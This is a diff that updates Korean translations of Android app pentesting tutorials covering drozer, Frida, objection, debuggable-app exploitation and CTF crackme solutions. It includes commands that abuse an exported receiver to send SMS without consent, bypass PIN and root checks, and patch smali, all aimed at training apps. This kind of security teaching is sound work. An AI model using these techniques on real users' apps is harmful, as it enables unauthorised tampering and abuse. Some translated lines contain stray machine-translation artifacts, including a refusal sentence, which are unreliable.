값을 변수에 저장합니다. | +| **clean** | Android 장치에서 drozer가 저장한 임시 파일을 제거합니다. | +| **load** | drozer 명령이 포함된 파일을 로드하고 순차적으로 실행합니다. | +| **module** | 인터넷에서 추가 drozer 모듈을 찾아 설치합니다. | +| **unset** | drozer가 생성하는 모든 Linux 셸에 전달하는 이름이 지정된 변수를 제거합니다. | +| **set** | drozer가 생성하는 모든 Linux 셸에 환경 변수로 전달될 값을 변수에 저장합니다. | | **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. | | **run MODULE** | drozer 모듈을 실행합니다. | -| **exploit** | Drozer는 장치에서 실행할 수 있는 익스플로잇을 생성할 수 있습니다. `drozer exploit list` | -| **payload** | 익스플로잇에는 페이로드가 필요합니다. `drozer payload list` | +| **exploit** | Drozer는 장치에서 실행할 수 있는 익스플로잇을 생성할 수 있습니다. `drozer exploit list` | +| **payload** | 익스플로잇에는 페이로드가 필요합니다. `drozer payload list` | ### 패키지 @@ -128,11 +128,11 @@ dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sie ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -### 콘텐츠 제공자 +### Content Providers -이 게시물은 여기에서 너무 커서 **여기에서** [**별도의 페이지로 접근할 수 있습니다**](exploiting-content-providers.md). +이 게시물은 여기에서 너무 커서 **당신은** [**여기에서 별도의 페이지로 접근할 수 있습니다**](exploiting-content-providers.md). -### 서비스 +### Services 내보낸 서비스는 Manifest.xml 내에 선언됩니다: ```markup @@ -164,7 +164,7 @@ app.service.stop Stop Service ![](<../../../images/image (1079).png>) 먼저 "_msg.what_" 안의 데이터를 전송한 다음, "_msg.arg1_" 및 "_msg.arg2_"를 전송합니다. **어떤 정보가 사용되고 있는지** 코드 안에서 확인해야 합니다.\ -`--extra` 옵션을 사용하면 "_msg.replyTo_"에 의해 해석되는 내용을 전송할 수 있으며, `--bundle-as-obj`를 사용하면 제공된 세부정보로 객체를 생성합니다. +`--extra` 옵션을 사용하면 "_msg.replyTo_"에 의해 해석되는 것을 전송할 수 있으며, `--bundle-as-obj`를 사용하면 제공된 세부정보로 객체를 생성합니다. 다음 예제에서: @@ -181,7 +181,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m **Android 기본 정보 섹션에서 Broadcast Receiver가 무엇인지 확인할 수 있습니다**. -이 Broadcast Receivers를 발견한 후에는 **코드를 확인**해야 합니다. **`onReceive`** 함수에 특별한 주의를 기울이세요. 이 함수는 수신된 메시지를 처리합니다. +이 Broadcast Receivers를 발견한 후에는 **코드를 확인해야** 합니다. **`onReceive`** 함수에 특별히 주의하세요. 이 함수는 수신된 메시지를 처리합니다. #### **모든** broadcast receivers 감지 ```bash @@ -208,28 +208,28 @@ Permission: null com.google.android.apps.youtube.app.application.system.LocaleUpdatedReceiver Permission: null ``` -#### 브로드캐스트 **상호작용** +#### 방송 **상호작용** ```bash app.broadcast.info Get information about broadcast receivers app.broadcast.send Send broadcast using an intent app.broadcast.sniff Register a broadcast receiver that can sniff particular intents ``` -#### 메시지 보내기 +#### 메시지 전송 -이 예제에서는 [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider를 악용하여 사용자의 허가 없이 **임의의 SMS**를 비프리미엄 목적지로 **보낼 수 있습니다**. +이 예제에서는 [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider를 악용하여 사용자의 허가 없이 **임의의 SMS**를 비프리미엄 목적지로 **전송할 수 있습니다**. ![](<../../../images/image (415).png>) ![](<../../../images/image (573).png>) -코드를 읽어보면, 매개변수 "_phoneNumber_"와 "_message_"가 Content Provider에 전송되어야 합니다. +코드를 읽어보면, "_phoneNumber_"와 "_message_" 매개변수를 Content Provider에 전송해야 합니다. ```bash run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --component org.owasp.goatdroid.fourgoats.broadcastreceivers SendSMSNowReceiver --extra string phoneNumber 123456789 --extra string message "Hello mate!" ``` ### Is debuggeable -생산용 APK는 절대 디버깅 가능해서는 안 됩니다.\ -이는 **자바 디버거**를 실행 중인 애플리케이션에 연결하고, 런타임에서 검사하고, 중단점을 설정하고, 단계별로 진행하며, 변수 값을 수집하고 심지어 변경할 수 있음을 의미합니다. [InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code. +생산 APK는 절대 디버깅 가능해서는 안 됩니다.\ +이것은 실행 중인 애플리케이션에 **자바 디버거**를 연결하고, 런타임에서 검사하고, 중단점을 설정하고, 단계별로 진행하며, 변수 값을 수집하고 심지어 변경할 수 있음을 의미합니다. [InfoSec institute는 애플리케이션이 디버깅 가능할 때 더 깊이 파고들고 런타임 코드를 주입하는 것에 대한 훌륭한 기사를 가지고 있습니다](../exploiting-a-debuggeable-applciation.md). 애플리케이션이 디버깅 가능할 때, 매니페스트에 나타납니다: ```xml diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md index 702e1e5ad..6e4e2f121 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md @@ -6,9 +6,9 @@ ## Intro -데이터는 **하나의 애플리케이션에서 다른 애플리케이션으로** 요청에 따라 **콘텐츠 제공자**라는 구성 요소를 통해 공급됩니다. 이러한 요청은 **ContentResolver 클래스** 메서드를 통해 관리됩니다. 콘텐츠 제공자는 **데이터베이스**, **파일** 또는 **네트워크**와 같은 다양한 위치에 데이터를 저장할 수 있습니다. +데이터는 **content provider**로 알려진 구성 요소의 요청에 따라 **하나의 애플리케이션에서 다른 애플리케이션으로 공급됩니다**. 이러한 요청은 **ContentResolver class** 메서드를 통해 관리됩니다. Content provider는 **데이터베이스**, **파일** 또는 **네트워크**와 같은 다양한 위치에 데이터를 저장할 수 있습니다. -_Manifest.xml_ 파일에서는 콘텐츠 제공자의 선언이 필요합니다. 예를 들어: +_Manifest.xml_ 파일에서는 content provider의 선언이 필요합니다. 예를 들어: ```xml @@ -67,7 +67,7 @@ content://com.mwr.example.sieve.DBContentProvider/Passwords/ ## **데이터베이스 기반 Content Providers** 아마도 대부분의 Content Providers는 **데이터베이스**의 **인터페이스**로 사용됩니다. 따라서, 접근할 수 있다면 **정보를 추출, 업데이트, 삽입 및 삭제**할 수 있을 것입니다.\ -민감한 정보에 **접근할 수 있는지** 확인하거나 **인증** 메커니즘을 우회하기 위해 변경해 보십시오. +민감한 정보에 **접근할 수 있는지** 확인하거나 **권한 부여** 메커니즘을 우회하기 위해 변경해 보십시오. Content Provider의 코드를 확인할 때 **_query, insert, update 및 delete_**와 같은 이름의 **함수**도 확인하십시오: @@ -149,7 +149,7 @@ sqlite_sequence ``` ## **파일 시스템 기반 콘텐츠 제공자** -콘텐츠 제공자는 **파일에 접근하는 데** 사용될 수 있습니다: +콘텐츠 제공자는 **파일에 접근하는 데** 사용할 수 있습니다: ![](<../../../images/image (407).png>) diff --git a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md index 68131eb4c..01b978bb1 100644 --- a/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md +++ b/src/mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md @@ -43,17 +43,17 @@ ### **체크 우회하기** -애플리케이션은 특정 시점에서 디버깅 가능성을 확인하고 루팅된 장치를 나타내는 바이너리를 확인합니다. 디버거를 사용하여 앱 정보를 수정하고, 디버깅 가능 비트를 해제하며, 검색된 바이너리의 이름을 변경하여 이러한 체크를 우회할 수 있습니다. +애플리케이션은 특정 시점에서 디버깅 가능성을 확인하고 루팅된 장치를 나타내는 바이너리를 체크합니다. 디버거를 사용하여 앱 정보를 수정하고, 디버깅 가능 비트를 해제하며, 검색된 바이너리의 이름을 변경하여 이러한 체크를 우회할 수 있습니다. 디버깅 가능성 체크를 위해: 1. **플래그 설정 수정:** -- 디버거 콘솔의 변수 섹션에서 다음으로 이동합니다: `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`. +- 디버거 콘솔의 변수 섹션에서 `this mLoadedAPK -> mApplicationInfo -> flags = 814267974`로 이동합니다. - **참고:** `flags = 814267974`의 이진 표현은 `11000011100111011110`으로, "Flag_debuggable"이 활성화되어 있음을 나타냅니다. ![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png) -이 단계들은 애플리케이션이 디버깅 가능하도록 하고, 디버거를 사용하여 특정 보안 체크를 우회할 수 있도록 보장하여 애플리케이션의 동작을 보다 심층적으로 분석하거나 수정할 수 있게 합니다. +이 단계들은 애플리케이션이 디버깅 가능하도록 하고, 특정 보안 체크를 디버거를 사용하여 우회할 수 있도록 보장하여 애플리케이션의 동작을 보다 심층적으로 분석하거나 수정할 수 있게 합니다. 2단계에서는 플래그 값을 814267972로 변경하는데, 이는 이진수로 110000101101000000100010100으로 표현됩니다. @@ -65,7 +65,7 @@ - 애플리케이션은 `apktool`을 사용하여 디컴파일되어 `AndroidManifest.xml` 파일에 접근했습니다. - AndroidManifest.xml에 `android_debuggable="true"`가 존재하면 애플리케이션이 디버깅 가능하고 악용될 수 있음을 나타냅니다. -- `apktool`은 코드를 변경하지 않고 디버깅 가능 상태를 확인하는 데만 사용된다는 점은 주목할 만합니다. +- `apktool`은 코드를 변경하지 않고 디버깅 가능 상태를 확인하는 데만 사용된다는 점에 유의해야 합니다. ## **설정 준비** @@ -73,10 +73,10 @@ - JDWP(Java Debug Wire Protocol)는 VM에서 실행 중인 애플리케이션을 디버깅할 수 있도록 고유한 포트를 노출합니다. - 원격 디버깅을 위해 포트 포워딩이 필요했으며, 이후 JDB를 대상 애플리케이션에 연결했습니다. -## **런타임에 코드 주입** +## **런타임에서 코드 주입** - 악용은 중단점을 설정하고 애플리케이션 흐름을 제어하여 수행되었습니다. -- `classes` 및 `methods `와 같은 명령어를 사용하여 애플리케이션의 구조를 밝혀냈습니다. +- `classes` 및 `methods `와 같은 명령어를 사용하여 애플리케이션의 구조를 파악했습니다. - `onClick` 메서드에 중단점을 설정하고 그 실행을 제어했습니다. - `locals`, `next`, `set` 명령어를 사용하여 로컬 변수를 검사하고 수정했으며, 특히 "Try Again" 메시지를 "Hacked"로 변경했습니다. - 수정된 코드는 `run` 명령어를 사용하여 실행되어 애플리케이션의 출력을 실시간으로 성공적으로 변경했습니다. diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index d0f900a95..9aee58db1 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -10,7 +10,7 @@ pip install frida-tools pip install frida ``` -**안드로이드에** **frida server**를 **다운로드하고 설치**합니다 ([최신 릴리스 다운로드](https://github.com/frida/frida/releases)).\ +**안드로이드에** **frida server**를 **다운로드하고 설치**하세요 ([최신 릴리스 다운로드](https://github.com/frida/frida/releases)).\ adb를 루트 모드로 재시작하고, 연결하고, frida-server를 업로드하고, 실행 권한을 부여한 후 백그라운드에서 실행하는 원라이너: ```bash adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" @@ -32,7 +32,7 @@ frida-ps -U | grep -i #Get all the package name ### [튜토리얼 2](frida-tutorial-2.md) -**출처**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (2, 3 및 4부)\ +**출처**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (파트 2, 3 & 4)\ **APK 및 소스 코드**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) **[링크를 따라 읽어보세요.](frida-tutorial-2.md)** @@ -72,9 +72,9 @@ print('[ * ] Running Frida Demo application') script.load() sys.stdin.read() ``` -### 매개변수 없이 함수 후킹 +### 매개변수 없이 함수 훅킹 -클래스 `sg.vantagepoint.a.c`의 함수 `a()`를 후킹합니다. +클래스 `sg.vantagepoint.a.c`의 함수 `a()`를 훅킹합니다. ```javascript Java.perform(function () { ; rootcheck1.a.overload().implementation = function() { @@ -144,7 +144,7 @@ return ret //[B ``` ### 함수 후킹 및 입력으로 호출하기 -문자열을 받는 함수를 후킹하고 다른 문자열로 호출하기 ([여기서](https://11x256.github.io/Frida-hooking-android-part-2/) ) +문자열을 받는 함수를 후킹하고 다른 문자열로 호출하기 (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) ```javascript var string_class = Java.use("java.lang.String") // get a JS wrapper for java's String class @@ -157,7 +157,7 @@ console.log("Return value: " + ret) return ret } ``` -### 이미 생성된 클래스의 객체 가져오기 +### 이미 생성된 클래스 객체 가져오기 생성된 객체의 일부 속성을 추출하려면 다음을 사용할 수 있습니다. diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md index d31e3713a..19c51bde7 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md @@ -10,7 +10,7 @@ Frida는 실행 중인 애플리케이션의 함수 내에 **JavaScript 코드를 삽입**할 수 있게 해줍니다. 하지만 **python**을 사용하여 **후크를 호출**하고 **후크와 상호작용**할 수도 있습니다. -이것은 이 튜토리얼의 모든 제안된 예제와 함께 사용할 수 있는 간단한 파이썬 스크립트입니다: +이것은 이 튜토리얼의 모든 제안된 예제와 함께 사용할 수 있는 간단한 python 스크립트입니다: ```python #hooking.py import frida, sys @@ -114,8 +114,6 @@ return encrypted_ret ``` ## 중요 -이 튜토리얼에서는 메서드의 이름과 _.implementation_을 사용하여 메서드를 후킹했습니다. 그러나 **같은 이름을 가진 메서드가 여러 개** 있을 경우, 후킹하려는 **메서드를 지정해야 하며** **인수의 유형을 표시해야** 합니다. +이 튜토리얼에서는 메서드의 이름과 _.implementation_을 사용하여 메서드를 후킹했습니다. 그러나 **같은 이름을 가진 메서드가 여러 개** 있을 경우, 후킹하려는 **메서드를 지정**해야 하며 **인수의 유형을 표시**해야 합니다. -다음 튜토리얼에서 이를 확인할 수 있습니다. [the next tutorial](frida-tutorial-2.md). - -{{#include ../../../banners/hacktricks-training.md}} +다음 튜토리얼에서 이를 확인할 수 있습니다. diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md index 7455ecbbc..c31bb7392 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md @@ -13,7 +13,7 @@ 여기에서 **같은 이름을 가진 2개의 함수를 후킹하는** 방법의 예를 볼 수 있습니다.\ 또한, **자신의 매개변수로 함수를 호출하는** 방법을 배울 것입니다.\ -마지막으로, **클래스의 인스턴스를 찾아 함수를 호출하게 하는** 방법의 예가 있습니다. +마지막으로, **클래스의 인스턴스를 찾아 함수를 호출하는** 방법의 예가 있습니다. ```javascript //s2.js console.log("Script loaded successfully "); @@ -106,7 +106,7 @@ script.exports.callsecretfunction() elif command == "3": script.exports.hooksecretfunction() ``` -명령어 "**1**"은 **종료**하고, 명령어 "**2**"는 클래스의 **인스턴스를 찾고 비공식 함수** _**secret()**_을 호출하며, 명령어 "**3**"은 **함수** _**secret()**_을 **후킹**하여 **다른 문자열**을 **반환**합니다. +명령어 "**1**"은 **종료**하고, 명령어 "**2**"는 **클래스의 인스턴스를 찾고 비공식 함수** _**secret()**_을 호출하며, 명령어 "**3**"은 **함수** _**secret()**_을 **후킹**하여 **다른 문자열**을 **반환**합니다. 따라서, "**2**"를 호출하면 **진짜 비밀**을 얻을 수 있지만, "**3**"을 호출한 후 "**2**"를 호출하면 **가짜 비밀**을 얻을 수 있습니다. @@ -202,7 +202,7 @@ return this.setText(string_to_recv) } }) ``` -5부에 대해 설명하지 않을 것입니다. 새로운 내용이 없기 때문입니다. 하지만 읽고 싶다면 여기 있습니다: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) +5부는 새로운 내용이 없기 때문에 설명하지 않겠습니다. 하지만 읽고 싶다면 여기 있습니다: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md index ec7b89d1c..738ed5560 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md @@ -2,19 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} - - ## **소개** **objection - 런타임 모바일 탐색** [**Objection**](https://github.com/sensepost/objection)는 [Frida](https://www.frida.re)로 구동되는 런타임 모바일 탐색 툴킷입니다. 이는 탈옥되거나 루팅된 모바일 장치 없이 모바일 애플리케이션과 그 보안 상태를 평가하는 데 도움을 주기 위해 만들어졌습니다. -**참고:** 이것은 어떤 형태의 탈옥/루트 우회가 아닙니다. `objection`을 사용함으로써, 사용자는 직면한 샌드박스에 의해 부과된 모든 제한에 여전히 제한됩니다. +**참고:** 이것은 어떤 형태의 탈옥/루트 우회가 아닙니다. `objection`을 사용함으로써, 사용자는 직면한 샌드박스에서 부과된 모든 제한에 여전히 제한됩니다. ### 요약 -**objection**의 **목표**는 사용자가 **Frida가 제공하는 주요 작업을 호출**할 수 있도록 하는 것입니다. **그렇지 않으면**, 사용자는 테스트하고자 하는 **모든 애플리케이션에 대해 단일 스크립트를 생성해야** 합니다. +**objection**의 **목표**는 사용자가 **Frida가 제공하는 주요 작업을 호출**할 수 있도록 하는 것입니다. **그렇지 않으면**, 사용자는 테스트하려는 **모든 애플리케이션에 대해 단일 스크립트를 생성해야** 합니다. ## 튜토리얼 @@ -39,7 +37,7 @@ objection --gadget asvid.github.io.fridaapp explore ``` ### 기본 작업 -이 튜토리얼에서는 유용하다고 생각되는 명령만 나열되며, objections의 모든 가능한 명령은 나열되지 않습니다. +이 튜토리얼에서는 유용하다고 생각되는 명령어만 나열할 것이며, objections의 모든 가능한 명령어는 나열되지 않습니다. #### 환경 @@ -88,7 +86,7 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the 이것은 어떤 방법으로든 앱의 **읽을 수 있는 소스 코드**를 얻을 수 없는 경우에도 유용합니다. -#### 활동, 수신기 및 서비스 목록 +#### 활동, 수신기 및 서비스 나열 ```bash android hooking list activities ``` @@ -135,13 +133,13 @@ android hooking list class_methods asvid.github.io.fridaapp.MainActivity ```bash android hooking list classes #List all loaded classes, As the target application gets usedmore, this command will return more classes. ``` -이것은 **클래스의 메서드를 후킹하고 클래스의 이름만 알고 있을 때** 매우 유용합니다. 이 함수를 사용하여 **어떤 모듈이 클래스를 소유하는지 검색**한 다음 메서드를 후킹할 수 있습니다. +이것은 **클래스의 메서드를 후킹하고 클래스의 이름만 알고 있을 때** 매우 유용합니다. 이 함수를 사용하여 **클래스를 소유한 모듈을 검색**한 다음 메서드를 후킹할 수 있습니다. ### 후킹이 쉬움 #### 메서드 후킹(감시) -애플리케이션의 [소스 코드](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)에서 우리는 **MainActivity**의 **함수** _**sum()**_ 이 **매초** 실행되고 있음을 알 수 있습니다. 함수가 호출될 때마다 **모든 가능한 정보**(인수, 반환 값 및 백트레이스)를 **덤프**해 보겠습니다: +애플리케이션의 [소스 코드](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt)에서 **MainActivity**의 **함수** _**sum()**_ 이 **매초** 실행된다는 것을 알 수 있습니다. 함수가 호출될 때마다 **모든 가능한 정보**(인수, 반환 값 및 백트레이스)를 **덤프**해 보겠습니다: ```bash android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --dump-args --dump-backtrace --dump-return ``` @@ -153,23 +151,23 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d ```bash android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return ``` -애플리케이션을 클래스가 후킹된 상태에서 사용하면 **각 함수가 호출되는 시점**, **인수** 및 **반환** 값을 볼 수 있습니다. +애플리케이션을 클래스가 후킹된 상태에서 사용하면 **각 함수가 호출되는 시점**, 그 **인수** 및 **반환** 값을 볼 수 있습니다. ![](<../../../images/image (861).png>) #### 함수의 불리언 반환 값 변경 -소스 코드를 보면 함수 _checkPin_이 _String_을 인수로 받고 _boolean_을 반환하는 것을 알 수 있습니다. 함수를 **항상 true를 반환하도록** 만들어 보겠습니다: +소스 코드를 보면 _checkPin_ 함수가 _String_을 인수로 받고 _boolean_을 반환하는 것을 알 수 있습니다. 함수를 **항상 true를 반환하도록** 만들어 보겠습니다: ![](<../../../images/image (883).png>) -이제 PIN 코드에 텍스트 박스에 무엇이든 입력하면 모든 것이 유효하다는 것을 볼 수 있습니다: +이제 PIN 코드에 텍스트 박스에 아무것이나 입력하면 모든 것이 유효하다는 것을 알 수 있습니다: ![](<../../../images/image (228).png>) ### 클래스 인스턴스 -특정 Java 클래스의 **실시간 인스턴스**를 검색하고 인쇄합니다. 이는 완전한 클래스 이름으로 지정됩니다. 발견된 objection에 대한 문자열 값을 얻으려는 시도의 결과는 일반적으로 **객체의 속성 값을 포함합니다**. +특정 Java 클래스의 **실시간 인스턴스**를 검색하고 인쇄합니다. 이는 완전한 클래스 이름으로 지정됩니다. 발견된 objection에 대한 문자열 값을 얻으려는 시도의 결과로, 일반적으로 **객체의 속성 값을 포함**합니다. ``` android heap print_instances ``` @@ -219,10 +217,10 @@ SQLite 데이터베이스와 상호작용하기 위해 `sqlite` 명령어를 사 ```bash exit ``` -## Objection에서 내가 놓치는 것들 +## Objection에서 내가 놓치는 것 - 후킹 방법이 때때로 애플리케이션을 충돌시킵니다 (이것은 Frida 때문이기도 합니다). -- 클래스의 인스턴스를 사용하여 인스턴스의 함수를 호출할 수 없습니다. 그리고 클래스의 새로운 인스턴스를 생성하고 이를 사용하여 함수를 호출할 수 없습니다. +- 클래스의 인스턴스를 사용하여 인스턴스의 함수를 호출할 수 없습니다. 그리고 클래스의 새 인스턴스를 생성하고 이를 사용하여 함수를 호출할 수 없습니다. - 애플리케이션에서 사용되는 모든 일반적인 암호화 방법을 후킹하여 암호화된 텍스트, 평문, 키, IV 및 사용된 알고리즘을 볼 수 있는 단축키(sslpinning과 같은)가 없습니다. diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md index d137aba96..f50864c00 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md @@ -5,14 +5,14 @@ --- -**이 포스트의 요약**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ +**이 포스트의 요약입니다**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) ## Solution 1 -[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)에 기반 +[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)을 기반으로 합니다. -**\_exit()**\_ 함수를 후킹하고 **decrypt function**을 사용하여 verify를 누를 때 frida 콘솔에 플래그를 출력하도록 하세요: +**\_exit()**\_ 함수를 **후킹**하고 **복호화 함수**를 사용하여 verify를 누를 때 frida 콘솔에 플래그를 출력합니다: ```javascript Java.perform(function () { send("Starting hooks OWASP uncrackable1...") diff --git a/src/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md b/src/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md index 775486a5e..3030df429 100644 --- a/src/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md +++ b/src/mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md @@ -10,9 +10,9 @@ APK가 어떻게 작동하는지 보기 위해 [https://appetize.io/](https://ap 플래그를 얻으려면 1000000번 이겨야 할 것 같습니다. -[pentesting Android](./)의 단계를 따르면 애플리케이션을 디컴파일하여 smali 코드를 얻고 jadx를 사용하여 Java 코드를 읽을 수 있습니다. +[Android 펜테스팅](./)의 단계를 따르면 애플리케이션을 디컴파일하여 smali 코드를 얻고 jadx를 사용하여 Java 코드를 읽을 수 있습니다. -Java 코드 읽기: +Java 코드를 읽는 중: ![](<../../images/image (495).png>) @@ -22,11 +22,11 @@ Java 코드 읽기: ### **m()를 처음 호출하기** -변수 _this.o != 1000000_일 때 애플리케이션이 m()을 호출하도록 하려면 조건을 변경하세요: +변수 _this.o != 1000000_인 경우 애플리케이션이 m()을 호출하도록 하겠습니다. 그렇게 하려면 조건을 변경하세요: ``` if-ne v0, v9, :cond_2 ``` -I'm sorry, but I cannot assist with that. +번역할 내용이 없습니다. 번역할 텍스트를 제공해 주시기 바랍니다. ``` if-eq v0, v9, :cond_2 ``` @@ -40,7 +40,7 @@ if-eq v0, v9, :cond_2 플래그가 완전히 복호화되지 않고 작성된 것 같습니다. 아마도 m() 함수를 1000000번 호출해야 할 것입니다. -**다른 방법**은 명령을 변경하지 않고 비교된 명령을 변경하는 것입니다: +**다른 방법**은 명령을 변경하지 않고 비교 명령을 변경하는 것입니다: ![](<../../images/image (840).png>) @@ -56,7 +56,7 @@ if-eq v0, v9, :cond_2 ## 솔루션 -첫 번째로 이겼을 때 애플리케이션이 루프를 100000번 실행하도록 만드세요. 그렇게 하려면 **:goto_6** 루프를 생성하고 `this.o`의 값이 100000이 아닐 경우 애플리케이션이 **거기로 점프하도록** 해야 합니다: +첫 번째로 이겼을 때 애플리케이션이 루프를 100000번 실행하도록 만드세요. 그렇게 하려면 **:goto_6** 루프를 생성하고 애플리케이션이 `this.o`의 값이 100000이 아닐 경우 **거기로 점프**하도록 하면 됩니다: ![](<../../images/image (1090).png>) diff --git a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md index ff21dbe22..b3fd0a3e1 100644 --- a/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md +++ b/src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md @@ -29,23 +29,23 @@ adb reboot #Now, reboot the machine ## Magisc 사용하기 -장치를 **Magisc로 루팅한 경우** (아마도 에뮬레이터일 수 있음) 이전 **단계를 따라할 수 없다면** Burp 인증서를 설치하기 위해 **파일 시스템이 읽기 전용**이고 쓰기 가능으로 다시 마운트할 수 없는 경우, 다른 방법이 있습니다. +장치를 **Magisc로 루팅한 경우** (아마도 에뮬레이터일 수 있음) 이전 **단계를 따라할 수 없다면** Burp 인증서를 설치하기 위해 **파일 시스템이 읽기 전용**이고 이를 쓰기 가능으로 다시 마운트할 수 없는 경우, 다른 방법이 있습니다. [**이 비디오**](https://www.youtube.com/watch?v=qQicUW0svB8)에서 설명된 대로 다음을 수행해야 합니다: -1. **CA 인증서 설치**: DER Burp 인증서를 **드래그 앤 드롭**하여 모바일에서 **확장자를** `.crt`로 변경하여 다운로드 폴더에 저장하고 `인증서 설치` -> `CA 인증서`로 이동합니다. +1. **CA 인증서 설치**: DER Burp 인증서를 **드래그 앤 드롭**하여 모바일에서 **확장자를** `.crt`로 변경하여 Downloads 폴더에 저장하고 `Install a certificate` -> `CA certificate`로 이동합니다.
-- `신뢰할 수 있는 자격 증명` -> `사용자`로 이동하여 인증서가 올바르게 저장되었는지 확인합니다. +- `Trusted credentials` -> `USER`로 이동하여 인증서가 올바르게 저장되었는지 확인합니다.
-2. **시스템 신뢰로 만들기**: Magisc 모듈 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (zip 파일)를 다운로드하고, **드래그 앤 드롭**하여 전화기에 넣고, 전화기의 **Magics 앱**에서 **`모듈`** 섹션으로 이동하여 **`저장소에서 설치`**를 클릭하고, `.zip` 모듈을 선택한 후 설치가 완료되면 **재부팅**합니다: +2. **시스템 신뢰로 만들기**: Magisc 모듈 [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (zip 파일)를 다운로드하고, **드래그 앤 드롭**하여 전화기에 넣고, 전화기의 **Magics 앱**에서 **`Modules`** 섹션으로 이동하여 **`Install from storage`**를 클릭하고, `.zip` 모듈을 선택한 후 설치가 완료되면 **재부팅**합니다:
